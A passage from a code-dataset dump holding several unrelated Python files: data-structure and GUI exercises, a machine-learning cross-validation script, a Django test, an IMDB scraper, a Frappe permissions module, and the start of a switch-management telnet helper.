temp.next:\n break\n else:\n temp.next.prev = temp.prev\n temp2 = temp\n temp = temp.next\n temp2 = None\n\n\ndef pairsWithSum(lis, sum):\n if not lis.head or not lis.head.next:\n return []\n\n arr = []\n dic = {}\n temp = lis.head\n while temp:\n if sum - temp.data not in dic:\n dic[temp.data] = 1\n else:\n arr.append((sum - temp.data, temp.data))\n temp = temp.next\n return arr\n \n\nlis = DoublyLinkedList()\nlis.append(1)\nlis.append(1)\nlis.append(4)\nlis.append(3)\nlis.prepend(21)\nlis.append(5)\nlis.append(3)\nlis.append(1)\nlis.append(0)\n# lis.print()\n# print(lis.replace(1,10))\nlis.addAfter(5,2)\nlis.removeDuplicates()\nlis.print()\nprint(pairsWithSum(lis, 7))","sub_path":"dataStructuresFall/doublyLinkedList.py","file_name":"doublyLinkedList.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"12780171","text":"__author__ = 'sasongko'\n\n\nimport sys\nfrom PySide.QtGui import QApplication, QMainWindow, QPushButton,QMessageBox\n\n\nclass app(QMainWindow):\n def __init__(self):\n QMainWindow.__init__(self)\n self.setWindowTitle(\"Sinau Pyside\")\n self.setFixedWidth(200)\n self.setFixedHeight(50)\n self.tombol = QPushButton(\"Tentang\",self)\n self.tombol.move(50,10)\n self.tombol.clicked.connect(self.tentang)\n def tentang(self):\n info = QMessageBox.about(self.tombol, \"Tentang Sinau PySide\", \"Sinau PySide adalah kumpulan kode belajar pyside yang ditulis oleh Sasongko\")\nif __name__ == \"__main__\":\n aplikasi = QApplication(sys.argv)\n app = app()\n app.show()\n aplikasi.exec_()\n sys.exit()","sub_path":"08-message-box-about.py","file_name":"08-message-box-about.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"601231146","text":"import re\n\nhandle = open(\"files/mbox-short.txt\", \"r\")\n\nwhile True:\n arguments = input(\"> \").split()\n command = arguments.pop(0)\n count = 0\n\n if command == \"exit\":\n break\n elif command == \"grep\":\n pattern = arguments[0]\n for line in handle:\n if re.search(pattern, line):\n count += 1\n \n print(f\"mbox-short.txt has {count} lines that matched {pattern}\")\n else:\n print(\"invalid command\", command)\n","sub_path":"chapter-12/exercise-1.py","file_name":"exercise-1.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"310930693","text":"import torch\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sklearn.linear_model as lm\nfrom scipy.io import loadmat\nfrom sklearn import model_selection\nfrom toolbox_02450 import train_neural_net, draw_neural_net,rlr_validate\nfrom scipy import stats\nfrom tabulate import tabulate\nfrom ProjectData import * #All of our data\n\n\n# Data preparation and class attribute selection\n\nChosenAttributes = [\"HP\",\"Defense\",\"Sp_Atk\",\"Sp_Def\",\"Speed\",\"isLegendary\",\"Weight_kg\"]\ny_att = \"Attack\"\nsd_atk = np.std(dOriginal[y_att])\nmu_atk = np.mean(dOriginal[y_att])\ny = dNorm[y_att]\nX = dNorm.drop(y_att,axis=1) #dNorm is already normalized\n\n#X = X[ChosenAttributes]\nattributeNames = list(X)\ny = np.matrix(np.array(y)).transpose()\nX = np.array(X)\nN, M = X.shape\n\n#### Cross validation parameters\n\nK2 = 10 #Outer K-fold\nK1 = 10 #Innter K-fold\n\nCV_inner = model_selection.KFold(K1, shuffle=True)\nCV_outer = model_selection.KFold(K2,shuffle=True)\n\n#### Parameters for neural network classifier\n\niterations = np.array(range(1,3))*100 #The inner cross-validation fold will find the best parameters among these\nopt_n_iterations = [] # The best parameters found in the inner CV folds, to be used in the outer folds\nANN_saved_performance = np.zeros((K2,len(iterations)))\n\nn_replicates = 1\nloss_fn = torch.nn.MSELoss()\n\nlearning_curves = [] # for plotting\n\n# Variables for storing the best net for later plotting\nmse_best_ANN = 100 \ny_est_best_ANN = None\ny_true_best_ANN = None\nnet_best_hidden_units = None\nbest_net = None\n\ndef model():\n return lambda: torch.nn.Sequential(\n torch.nn.Linear(M, 2), #M features to n_iteration\n torch.nn.Tanh(), # 1st transfer function,\n torch.nn.Linear(2, 1), # n_iteration to 1 output neuron\n # no final tranfer function, i.e. \"linear output\"\n )\n\ndef trainANN(max_iterations,n_rep):\n return train_neural_net(model(),\n loss_fn,\n X=X_train,\n y=y_train,\n n_replicates=n_rep,\n max_iter=max_iterations)\n\n\n#### Parameters for linear regression\n\nlambdas = np.array(list(range(21)),dtype=int)*10 # The inner cross-validation folds will find the best parameters among these\nlambdas[0] = 1\nprint(lambdas)\nopt_lambdas = [] # The best parameters found in the inner CV folds, to be used in the outer folds\nLM_coefs = np.zeros((K2,len(attributeNames)))\n# Variables for storing the best LM for later plotting\nmse_best_LM = 100\ny_est_best_LM = None\ny_true_best_LM = None\nlm_best_lambda = None\nlm_best_weights = None\n\n#Custom functiom which makes a linear model from X_train and y_train with regularization lambda\n#and returns the prediction based on X_test. It assumes that the data is already normalized.\ndef reg_lm(lambda_,X_train,y_train,X_test):\n X_train = np.concatenate((np.ones((X_train.shape[0],1)),X_train),1)\n X_test = np.concatenate((np.ones((X_test.shape[0],1)),X_test),1)\n \n # Matrices for use in normal equation\n Xty = X_train.T @ y_train\n XtX = X_train.T @ X_train\n \n # Estimate weights for the optimal value of lambda, on entire training set\n lambdaI = lambda_ * np.eye(M+1)\n lambdaI[0,0] = 0 # Do no regularize the bias term\n\n # Solve the normal equation\n w_rlr = np.linalg.solve(XtX+lambdaI,Xty).squeeze()\n y_train_est = X_train @ w_rlr.T\n y_test_est = X_test @ w_rlr.T\n\n return y_train_est.squeeze().transpose(), y_test_est.squeeze().transpose(), w_rlr\n\n\n### ERRORS ####\n\n#Errors with scaling. Each element will be scaled by |y_test_outer|. This will almost always be 1/10, but not exactly.\n#The sum of these will yield the overall MSE for ANN, RLM and the Baseline\nerrors_ANN_outer = np.zeros(K2)\nerrors_baseline_outer = np.zeros(K2)\nerrors_LM_outer = np.zeros(K2)\n\n#Errors without observation-size-fraction scaling. These are for plotting and the table\nerrors_ANN_outer_ns = np.zeros(K2)\nerrors_baseline_outer_ns = np.zeros(K2)\nerrors_LM_outer_ns = np.zeros(K2)\n\n#Outer CV\nfor(k2,(train_index_o,test_index_o)) in enumerate(CV_outer.split(X,y)):\n \n #MSE error-matrices for inner cross validation\n #There's no paramater to tune for the baseline\n errors_ANN_inner = np.zeros((K1,len(iterations)))\n errors_LM_inner = np.zeros((K1,len(lambdas)))\n\n #Number of observations used for training and testing in inner CV\n #Equivelant to |D_par_i| in algorithm 6. Should be roughly 9/10*N\n N_inner = len(train_index_o)\n\n #Inner CV\n for (k1, (train_index, test_index)) in enumerate(CV_inner.split(X[train_index_o],y[train_index_o])):\n\n print('\\nCrossvalidition\\n\\tOuter fold: {0}/{1}\\n\\tInner fold: {2}/{3} '.format(k2+1,K2,k1+1,K1))\n \n # ANN: Test each n_iteration.\n for iteration_index,n_iteration in enumerate(iterations):\n\n # Extract training and test set for current CV fold, convert to tensor\n X_train = torch.tensor(X[train_index,:], dtype=torch.float)\n y_train = torch.tensor(y[train_index], dtype=torch.float)\n X_test = torch.tensor(X[test_index,:], dtype=torch.float)\n y_test = torch.tensor(y[test_index], dtype=torch.float)\n \n # Train the net on training data\n net, final_loss, learning_curve = trainANN(n_iteration,n_replicates)\n \n # Determine estimated class labels for test set\n y_test_est = net(X_test)\n \n # Determine errors\n se = np.square(np.array(list(y_test_est.float()-y_test.float()))) # squared error\n mse = sum(se)/len(se) #mean\n errors_ANN_inner[k1,iteration_index] = mse*len(test_index)/N_inner # Algorithm 6\n \n\n # RLM: Test each lambda.\n for l_index,l in enumerate(lambdas):\n # Model and predict\n y_train_est, y_test_est, w = reg_lm(l, X[train_index],y[train_index],X[test_index])\n\n # Determine the errors\n se = np.power((y_test_est-y[test_index]),2)\n mse = sum(se)/len(y_test_est)\n errors_LM_inner[k1,l_index] = mse*len(test_index)/N_inner\n \n #### ANN OUTER: Train on newly found best parameter\n sum_errors_inner_ANN = np.sum(errors_ANN_inner,axis=0)\n ANN_saved_performance[k2,:] = sum_errors_inner_ANN\n opt_hidden_unit = iterations[np.argmin(sum_errors_inner_ANN)]\n opt_n_iterations.append(opt_hidden_unit)\n\n # Extract training and test set for current CV fold, convert to tensors\n X_train = torch.tensor(X[train_index_o,:], dtype=torch.float)\n y_train = torch.tensor(y[train_index_o], dtype=torch.float)\n X_test = torch.tensor(X[test_index_o,:], dtype=torch.float)\n y_test = torch.tensor(y[test_index_o], dtype=torch.float)\n\n # Train the net and predict Attack power\n net, final_loss, learning_curve = trainANN(opt_hidden_unit,n_replicates)\n y_test_est = net(X_test)\n learning_curves.append(learning_curve)\n \n # Determine MSE\n se = (y_test_est.float()-y_test.float())**2 # squared error\n mse = (sum(se).type(torch.float)/len(y_test)).data.numpy() #mean\n errors_ANN_outer[k2] = mse*len(se)/N\n errors_ANN_outer_ns[k2] = mse\n\n #Save the best net for plotting.\n if mse < mse_best_ANN:\n y_est_best_ANN = y_test_est.data.numpy() \n y_true_best_ANN = y_test.data.numpy()\n mse_best_ANN = mse\n net_best_hidden_units = opt_hidden_unit\n best_net = net #Save for plotting\n\n #### RLM OUTER: Train on newly found best lambda\n argmin = np.argmin(np.sum(errors_LM_inner,axis=0))\n opt_lambda = lambdas[argmin]\n opt_lambdas.append(opt_lambda)\n\n # Train and predict attack power\n y_train_est, y_test_est, weights = reg_lm(opt_lambda, X[train_index_o],y[train_index_o],X[test_index_o])\n LM_coefs[k2,:] = weights[0,1:]\n\n # Determine MSE\n se = np.square(y_test_est-y[test_index_o]) # squared error\n mse = np.squeeze(sum(se)/len(y_test_est)) #mean\n errors_LM_outer[k2] = mse*len(se)/N #Algorithm 6\n errors_LM_outer_ns[k2] = mse\n\n # Save the best RLM for plotting\n if mse < mse_best_LM:\n y_est_best_LM = y_test_est\n y_true_best_LM = y[test_index_o]\n mse_best_LM = mse\n lm_best_lambda = opt_lambda\n lm_best_weights = weights\n\n #### BASELINE OUTER\n se = np.square(y[test_index_o]-np.mean(y[train_index_o]))\n mse = sum(se)/len(se)\n errors_baseline_outer[k2] = mse*len(se)/N #Algorithm 6\n errors_baseline_outer_ns[k2] = mse\n\n\n#### Plotting Results\n\n# ANN Plotting\n\n#Parameter performance\ny_dat = ANN_saved_performance\ny = np.mean(y_dat,axis=0)\nyerr = np.abs(np.quantile(y_dat-y,[0.25,0.75],axis=0))\nplt.figure(figsize=(6,6))\nplt.errorbar(iterations, y, yerr=yerr, fmt='o-',capsize=5,capthick=3,ms=10)\nplt.grid()\nplt.xlabel(\"Numbers of training iterations values\")\nplt.ylabel(\"Average MSE (Generalization error) of net\")\nplt.title('Artificial neural network: Performance of optimizing parameter')\nplt.savefig('../Figures/ANN_iterations_performance.png')\n\n\n\n# Neural Net\nweights = [best_net[i].weight.data.numpy().T for i in [0,2]]\nbiases = [best_net[i].bias.data.numpy() for i in [0,2]]\ntf = [\"\" for i in [1,2]]\n#draw_neural_net(weights, biases, tf, attribute_names=attributeNames)\n\n# Learning curve and MSE\nsummaries, summaries_axes = plt.subplots(1,2, figsize=(10,5))\ncolor_list = ['tab:orange', 'tab:green', 'tab:purple', 'tab:brown', 'tab:pink',\n 'tab:gray', 'tab:olive', 'tab:cyan', 'tab:red', 'tab:blue']\n\nfor i,learning_curve in enumerate(learning_curves):\n h, = summaries_axes[0].plot(learning_curve, color=color_list[i])\n h.set_label('CV fold {0}'.format(i+1))\n summaries_axes[0].set_xlabel('Iterations')\n summaries_axes[0].set_ylabel('Loss')\n summaries_axes[0].set_title('Learning curves')\n \n #Display the MSE across folds\n summaries_axes[1].bar(np.arange(1, K2+1), errors_ANN_outer_ns, color=color_list)\n summaries_axes[1].set_xlabel('Outer fold')\n summaries_axes[1].set_xticks(np.arange(1, K2+1))\n summaries_axes[1].set_ylabel('MSE')\n summaries_axes[1].set_title('Test mean-squared-error')\n\nsummaries_axes[0].set_xlim([0,max(opt_n_iterations)])\nsummaries_axes[0].legend([\"Outer fold {}: w. {} iterations\".format(a+1,b) for a , b in enumerate(opt_n_iterations)])\nplt.savefig('../Figures/ANN_training.png')\n\n# Best net - True values vs. predicted\nplt.figure(figsize=(6,6))\ny_est = y_est_best_ANN*sd_atk+mu_atk\ny_true = y_true_best_ANN*sd_atk+mu_atk\naxis_range = [np.min([y_est, y_true])-20,np.max([y_est, y_true])+20]\nplt.plot(axis_range,axis_range,'k--')\nplt.plot(y_true, y_est,'ob',alpha=.25)\nplt.legend(['Perfect estimation','Best net using {} iterations. MSE: {number:.{digits}f}'.format(net_best_hidden_units,number=mse_best_ANN[0],digits=3)])\nplt.title('ANN predicting Attack power')\nplt.ylim(axis_range) \nplt.xlim(axis_range)\nplt.xlabel('True value')\nplt.ylabel('Estimated value')\nplt.grid()\nplt.savefig('../Figures/ANN_best_net.png')\n\n# RLM Plotting\n\n#Best RLM - Estimated vs. True\nplt.figure(figsize=(6,6))\ny_est = y_est_best_LM*sd_atk+mu_atk \ny_true = y_true_best_LM*sd_atk+mu_atk\n\naxis_range = [np.min([y_est, y_true])-20,np.max([y_est, y_true])+20]\nplt.plot(axis_range,axis_range,'k--')\nplt.plot(y_true, y_est,'ob',alpha=.25)\nplt.legend(['Perfect estimation','Best RLM using lambda = {}. MSE: {number:.{digits}f}'.format(lm_best_lambda,number=float(mse_best_LM),digits=3)])\nplt.title('Regularized linear model predicting Attack power')\nplt.ylim(axis_range); plt.xlim(axis_range)\nplt.xlabel('True value')\nplt.ylabel('Estimated value')\nplt.grid()\nplt.savefig('../Figures/RLM_best_net.png')\n\n\n#Boxplot of weights\nfig, ax = plt.subplots()\nfig.set_figheight(5)\nfig.set_figwidth(10)\nplt.title(\"Linear Regression: Attribute weights\")\nplt.ylabel(\"Attribute weight\")\nplt.boxplot(LM_coefs)\nplt.xticks(range(len(attributeNames)+1),[\"\"]+attributeNames,rotation = 90)\nplt.tight_layout()\nplt.grid()\nplt.savefig(\"../Figures/RLM_weights.png\",dpi=600)\n\n\n#Latex table for regressoin B\ndata_table = np.zeros((K2,6))\ndata_table[:,0] = np.array(range(K2),dtype=int) + 1\ndata_table[:,1] = opt_hidden_unit\ndata_table[:,2] = errors_ANN_outer_ns\ndata_table[:,3] = opt_lambdas\ndata_table[:,4] = errors_LM_outer_ns\ndata_table[:,5] = errors_baseline_outer_ns\n\nwith open(\"../Figures/regression_b_tex.txt\",'w') as handle:\n handle.writelines(tabulate(data_table, tablefmt=\"latex\", floatfmt=\".3f\"))\n\n###Final MSE for the three models and optimal parameters\nprint(\"Optimal RLM lambdas: {}\".format(opt_lambdas))\nprint(\"Optimal ANN max iterations: {}\".format(opt_n_iterations))\n\nprint('ANN: Estimated generalization error, MSE: {0}'.format(round(np.sum(errors_ANN_outer), 4)))\nprint('Baseline: Estimated generalization error, MSE: {0}'.format(round(np.sum(errors_baseline_outer), 4)))\nprint('Linear Regression: Estimated generalization error, MSE: {0}'.format(round(np.sum(errors_LM_outer), 4)))\n\nprint('Weights in best RLM fold:')\nattributeNamesWoffset = [\"offset\"]+attributeNames\nfor m in range(M+1):\n print('{:>15} {:>15}'.format(attributeNamesWoffset[m], str(np.round(lm_best_weights[0,m],2))))\n\n\n\ndef ConfidenceInterval(x,confidence=.95):\n n = len(x)\n mu = np.mean(x)\n std_err = np.std(x)\n h = std_err/np.sqrt(n) * stats.t.ppf((1 + confidence) / 2, n - 1)\n return [mu-h,mu+h]\n\n\nprint(\"\\n=== Paired T-tests and confidence intervals ===\\n\")\nprint(\"LM vs Baseline\")\nprint(stats.ttest_rel(errors_LM_outer_ns,errors_baseline_outer_ns))\nprint(ConfidenceInterval(errors_LM_outer_ns-errors_baseline_outer_ns))\nprint(\"ANN vs Baseline\")\nprint(stats.ttest_rel(errors_ANN_outer_ns,errors_baseline_outer_ns))\nprint(ConfidenceInterval(errors_ANN_outer_ns-errors_baseline_outer_ns))\nprint(\"ANN vs LM\")\nprint(stats.ttest_rel(errors_ANN_outer_ns,errors_LM_outer_ns))\nprint(ConfidenceInterval(errors_ANN_outer_ns-errors_LM_outer_ns))","sub_path":"Scripts/oldScripts/RegressionB.py","file_name":"RegressionB.py","file_ext":"py","file_size_in_byte":13824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"121376119","text":"from django.test import TestCase\n\n# Create your tests here.\n\n#Testing the facebook verify token end point \n\nclass TestVerifyToken(TestCase):\n\n\t## testing for the correct response\n\tdef test_VerifyToken(self):\n\t\ttest_string=\"TestCase\"\n\t\tresp=self.client.get(\"/facebook_auth/?hub.verify_token=dhlchatbot&hub.challenge=%s\"%test_string)\n\t\tself.assertEqual(resp.status_code,200)\n\t\tself.assertEqual(resp.content,test_string)","sub_path":"messengerbot/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"584576589","text":"import pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib\nfrom matplotlib import pyplot as plt\nfrom bs4 import BeautifulSoup as bs\nimport requests\nimport lxml\nimport html5lib\nimport time\nimport random\nfrom requests.adapters import HTTPAdapter\nfrom requests.packages.urllib3.util.retry import Retry\n\n# Create a top list of TV series based on highest-average IMDB rating.\ndef get_top_list():\n \"\"\"Returns a dataframe of TV series based on highest-average IMDB rating.\"\"\"\n \n # Create soup based on IMDB page with highest-average rated 250 TV series.\n URL = \"https://www.imdb.com/chart/toptv/?ref_=nv_tvv_250\"\n page = requests.get(URL)\n soup = bs(page.content, \"lxml\")\n \n # Create an empty dataframe.\n top_list = pd.DataFrame(columns=[\"series_name\", \"series_rank\", \"series_origin_year\", \"series_link\"])\n \n # Get all the series' information.\n all_series = soup.find_all('td', class_='titleColumn')\n \n # Run through each series and pick out rank, title, origin year and page link.\n for ser in all_series:\n\n series_link = ser.find(\"a\")\n\n series_rank = (\n ser\n .text\n .split(\".\")[0]\n .strip()\n )\n\n series_title = (\n ser\n .text\n .split(\".\")[1]\n .split(\"(\")[0]\n .strip()\n )\n series_year = (\n ser\n .text\n .split(\"(\")[1]\n .replace(\")\", \"\")\n .strip()\n )\n\n row = {\n \"series_name\": series_title, \n \"series_rank\": series_rank,\n \"series_origin_year\": series_year,\n \"series_link\": series_link[\"href\"]\n }\n \n # Append series to the top list.\n top_list = top_list.append(row, ignore_index=True)\n \n # This is a way of dealing with series with similar names (e.g. House of Cards)\n top_list['series_id'] = top_list['series_name'] + \" (\" + top_list['series_origin_year'] + \")\"\n \n return(top_list)\n\n\n# Get the number of seasons for a certain series.\ndef get_last_season(series_name, top_list, session):\n \"\"\"Returns the number of seasons for a certain series.\"\"\"\n \n print(\"########################################################################################\")\n print(f\"SCRAPING: {series_name.upper()}\")\n \n # Add some random sleep time between each request toward IMDB.\n time.sleep(random.randint(5,15))\n \n # Get the URL and id based on mapping between series title and series link.\n try: \n series_link = top_list[top_list['series_name']==f\"{series_name}\"]['series_link'].item()\n except ValueError:\n print(f\"{series_name.upper()} references more than one series. Exclude it from the dataset.\")\n \n # Send request and get soup.\n URL = f\"https://www.imdb.com{series_link}\"\n page = session.get(URL) # Write \"session\" instead of \"requests\" to deal with connection errors.\n soup = bs(page.content, \"lxml\")\n\n max_season = soup.find(\"select\", id=\"browse-episodes-season\")\n\n # The \"browse episodes\" button only exists if there are multiple seasons. \n if max_season is None:\n max_season = 1\n else:\n max_season = int(max_season['aria-label'].split(' ')[0])\n \n print(f\"##### TOTAL SEASONS: {max_season}\")\n \n return(max_season)\n\n# Get episode data for each season and series in a selected list.\ndef get_ratings(series_name, top_list, session):\n \"\"\"Returns episodes' average rating, total votes and description for each season and series in a selected list.\"\"\"\n \n # Get the URL based on mapping between series title and series link.\n try: \n series_link = top_list[top_list['series_name']==f\"{series_name}\"]['series_link'].item()\n except ValueError:\n print(f\"{series_name.upper()} references more than one series. Exclude it from the dataset.\")\n \n # Create empty dataframe.\n df = pd.DataFrame(columns=[\"series_name\", \n \"series_rank\", \n \"series_origin_year\", \n \"series_link\",\n \"series_n_seasons\",\n \"season\",\n \"episode\",\n \"episode_rating\",\n \"episode_total_votes\",\n \"episode_description\"\n ])\n \n # Get the max number of seasons.\n seasons = get_last_season(series_name=series_name, top_list=top_list, session=session)\n \n print(f\"##### GETTING EPISODES...\")\n \n # Loop through each season for a series.\n for season in np.arange(1, seasons+1):\n \n # Add some random sleep time between each request toward IMDB.\n time.sleep(random.randint(5,15))\n \n # Get the soup for each season's IMDB URL page.\n URL = f\"https://www.imdb.com{series_link}episodes?season={season}\"\n page = session.get(URL) # Write \"session\" instead of \"requests\" to deal with connection errors.\n soup = bs(page.content, \"lxml\")\n \n # Get all info for all episodes in selected season.\n all_episode_info = soup.find_all(class_=\"info\")\n\n for episode in all_episode_info:\n \n # Get episode description\n try: \n description = (\n episode\n .find(\"div\", class_=\"item_description\")\n .text\n .strip()\n )\n except AttributeError:\n description = \"N/A\"\n # Get episode rating\n try:\n rating = (\n episode\n .find(\"span\", class_=\"ipl-rating-star__rating\")\n .text\n ) # There are actually several of this object. Luckily, the first one is the one we're looking for.\n except AttributeError:\n rating = -1\n # Get episode total votes\n try:\n total_votes = (\n episode\n .find(\"span\", class_=\"ipl-rating-star__total-votes\")\n .text\n .replace(\"(\", \"\")\n .replace(\")\", \"\")\n .replace(',', '')\n )\n except AttributeError:\n total_votes = 0\n # Get episode number\n try:\n number = episode.find(\"meta\", itemprop=\"episodeNumber\")\n except AttributeError:\n number = -1\n \n row = {\n \"series_name\": series_name, \n \"series_rank\": top_list[top_list['series_name']==series_name]['series_rank'].item(),\n \"series_origin_year\": top_list[top_list['series_name']==series_name]['series_origin_year'].item(),\n \"series_link\": series_link,\n \"series_n_seasons\": seasons,\n \"season\": season,\n \"episode\": number[\"content\"],\n \"episode_rating\": rating,\n \"episode_total_votes\": total_votes,\n \"episode_description\": description\n }\n \n df = df.append(row, ignore_index=True)\n \n print(f\"######## SEASON {season} SCRAPED\")\n \n print(f\"{series_name.upper()} - TOTAL EPISODES: {len(df)}\")\n print(\"########################################################################################\")\n \n df = df.astype(\n {\n 'series_name': 'str', \n 'series_rank': 'int64',\n 'series_origin_year': 'int64',\n 'series_link': 'str', \n 'series_n_seasons': 'int64',\n 'season': 'int64',\n 'episode': 'int64',\n 'episode_rating': 'float64',\n 'episode_total_votes': 'int64',\n 'episode_description': 'str'\n }\n )\n \n return(df)\n ","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"325772576","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2017, Frappe Technologies and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\nimport frappe, json\nfrom frappe.model.document import Document\nfrom frappe.permissions import (get_valid_perms, update_permission_property)\nfrom frappe import _\n\nclass UserPermission(Document):\n\tdef on_update(self):\n\t\tfrappe.cache().delete_value('user_permissions')\n\n\tdef on_trash(self): # pylint: disable=no-self-use\n\t\tfrappe.cache().delete_value('user_permissions')\n\ndef get_user_permissions(user=None):\n\t'''Get all users permissions for the user as a dict of doctype'''\n\tif not user:\n\t\tuser = frappe.session.user\n\n\tout = frappe.cache().hget(\"user_permissions\", user)\n\n\tif out is None:\n\t\tout = {}\n\t\ttry:\n\t\t\tfor perm in frappe.get_all('User Permission',\n\t\t\t\tfields=['allow', 'for_value'], filters=dict(user=user)):\n\t\t\t\tmeta = frappe.get_meta(perm.allow)\n\t\t\t\tif not perm.allow in out:\n\t\t\t\t\tout[perm.allow] = []\n\t\t\t\tout[perm.allow].append(perm.for_value)\n\n\t\t\t\tif meta.is_nested_set():\n\t\t\t\t\tout[perm.allow].extend(frappe.db.get_descendants(perm.allow, perm.for_value))\n\n\t\t\tfrappe.cache().hset(\"user_permissions\", user, out)\n\t\texcept frappe.SQLError as e:\n\t\t\tif e.args[0]==1146:\n\t\t\t\t# called from patch\n\t\t\t\tpass\n\n\treturn out","sub_path":"frappe/core/doctype/user_permission/user_permission.py","file_name":"user_permission.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"618079743","text":"#!/usr/bin/env python3\n\n####\n#### old method of calling python3 \n#!/opt/python3/bin/python3\n\nimport telnetlib\nimport getpass\nimport os,sys\n#import argparse\nimport re\nimport var\nimport datetime\nimport liabhar\nfrom socket import error as SocketError\nimport errno\n\"\"\"\nNote: Naming conventions follow the typical Python convention\n\nmodule_name package_name \nmethod_name ExceptionName \nglobal_var_name instance_var_name\nfunction_parameter_name local_var_name\nGLOBAL_CONSTANT_NAME ClassName\n function_name \n\"\"\"\n\nclass FabricInfo:\n \"\"\"\n A class to return information about a Fabric.\n The FID is required make the class specific to the FID.\n \n \"\"\"\n \n def __init__(self, fid=128):\n self.fid = fid\n print(\"\\n\\ninitializing Fabric Info class \", self.fid, \"\\n\\n\\n\")\n \n def __change_fid__(self):\n capture_cmd = fos_cmd(\"setcontext \" + str(self.fid))\n \n def sid_numbers(self):\n \"\"\"\n Return a string of the members of the current fabric\n Return none if no switches are found\n \"\"\"\n self.__change_fid__()\n capture_cmd = fos_cmd(\"fabricshow\")\n \n #### the next two lines would return each item from the fabricshow command\n ras = re.compile('\\s?([0-9]{1,3}):\\s+([\\d\\w]{6})\\s+([:\\d\\w]{23})\\s+([.\\d]{7,15})\\s+([.\\d]{7,15})\\s+([\"_\\w\\d]+)')\n ras_result = ras.search(capture_cmd)\n #### the above two lines not used here\n \n ras = re.compile('\\s?([0-9]{1,3}):\\s+')\n ras_result_all = ras.findall(capture_cmd)\n \n #print(\"\\n\\n\\n\\n\", ras_result_all, \"ras_result_all\\n\\n\\n\")\n if not ras_result_all:\n ras_result_all = \"none\"\n \n return ras_result_all\n \n def switch_count(self):\n \"\"\"\n Return the number of switches in the FID\n Return 0 if no match is found\n \"\"\"\n self.__change_fid__()\n capture_cmd = fos_cmd(\"fabricshow\")\n \n #### the next two lines would return each item from the fabricshow command\n #ras = re.compile('\\s?([0-9]{1,3}):\\s+([\\d\\w]{6})\\s+([:\\d\\w]{23})\\s+([.\\d]{7,15})\\s+([.\\d]{7,15})\\s+([\"_\\w\\d]+)')\n #ras_result = ras.search(capture_cmd)\n #### the above two lines not used here\n \n ras = re.compile('Fabric has\\s?([0-9]{1,3})')\n #ras = re.compile('Fabric has')\n ras_result_all = ras.search(capture_cmd)\n \n if not ras_result_all:\n ras_result = \"0\"\n else:\n ras_result = ras_result_all.group(1)\n print(ras_result_all.group(1))\n return ras_result\n \n \n def ipv4_list(self):\n \"\"\"\n Return a string of the ipv4 address of the switches in\n the current fabric\n Return none if nothing is matched\n \"\"\"\n #self.__change_fid__()\n capture_cmd = fos_cmd(\"fabricshow\")\n ras = re.compile('(?:\\s?[0-9]{1,3}:\\s+[\\d\\w]{6}\\s+[:\\d\\w]{23}\\s+)([1-9][0-90-9].\\d{1,3}.\\d{1,3}.\\d{1,3})')\n ras_result_all = ras.findall(capture_cmd)\n #print(ras_result_all)\n if not ras_result_all:\n ras_result_all = None\n \n return(ras_result_all)\n \n \n def ipv4_plus_fcr_list(self,usr,pw):\n \"\"\"\n Return a string of the ipv4 plus switches attached via FCR\n Return none if nothing is matched with ipv4_list\n \n \"\"\"\n print('&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&')\n print(usr)\n print(pw)\n #sys.exit()\n bb_fablist = self.ipv4_list()\n #host = sys.argv[1]\n #user = sys.argv[2]\n #pw = sys.argv[7]\n capture_cmd = fos_cmd(\"fcrfabricshow\")\n ras = re.compile('(?:\\d{1,3}\\s+\\d{1,3}\\s+)(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})')\n ras_result_all = ras.findall(capture_cmd)\n fablist_nodup = (list(set(ras_result_all)))\n #tn.set_debuglevel(9)\n try:\n if fablist_nodup:\n for ip in fablist_nodup:\n #print(\"\\n\\n\\n\\n\\nCURRENTLY ON IP \", ip , \"\\n\\n\\n\\n\")\n conn_value = connect_tel_noparse(ip, usr, pw)\n fablist_extended = self.ipv4_list()\n for n in fablist_extended:\n if n not in fablist_nodup:\n fablist_nodup.append(n)\n except:\n #return(False)\n print('^^^^^^^^^^^^^^^^^^^^^^^^^^')\n print('connection failed')\n sys.exit()\n return(fablist_nodup)\n \n \n def name(self):\n \"\"\"\n Return a string of the names of the members in the current fabric\n Return none if no match is found\n \n \"\"\"\n \n self.__change_fid__()\n capture_cmd = fos_cmd(\"fabricshow\")\n \n #### the next two lines would return each item from the fabricshow command\n ras = re.compile('\\s?([0-9]{1,3}):\\s+([\\d\\w]{6})\\s+([:\\d\\w]{23})\\s+([.\\d]{7,15})\\s+([.\\d]{7,15})\\s+([\"_\\w\\d]+)')\n ras_result = ras.search(capture_cmd)\n #### the above two lines not used here\n \n ras = re.compile('[.\\d]{7,15}\\s+[.\\d]{7,15}\\s+>?([\"_\\w\\d]+)')\n ras_result_all = ras.findall(capture_cmd)\n \n if not ras_result_all:\n sw_names = \"none\"\n \n sw_names = [str(i.replace('\"', '')) for i in ras_result_all]\n \n return sw_names\n \n \n def all_info(self):\n \"\"\"\n Does nothing at this time\n \"\"\"\n pass\n \n def fabric_members(self):\n \"\"\"\n Return a string of the members of the current fabric\n \"\"\"\n capture_cmd = fos_cmd(\"fabricshow\")\n \n #15})\\\\s+(FC)\\\\s+([\\(\\)\\\":_ \\-a-zA-Z0-9]+)')\n ras = 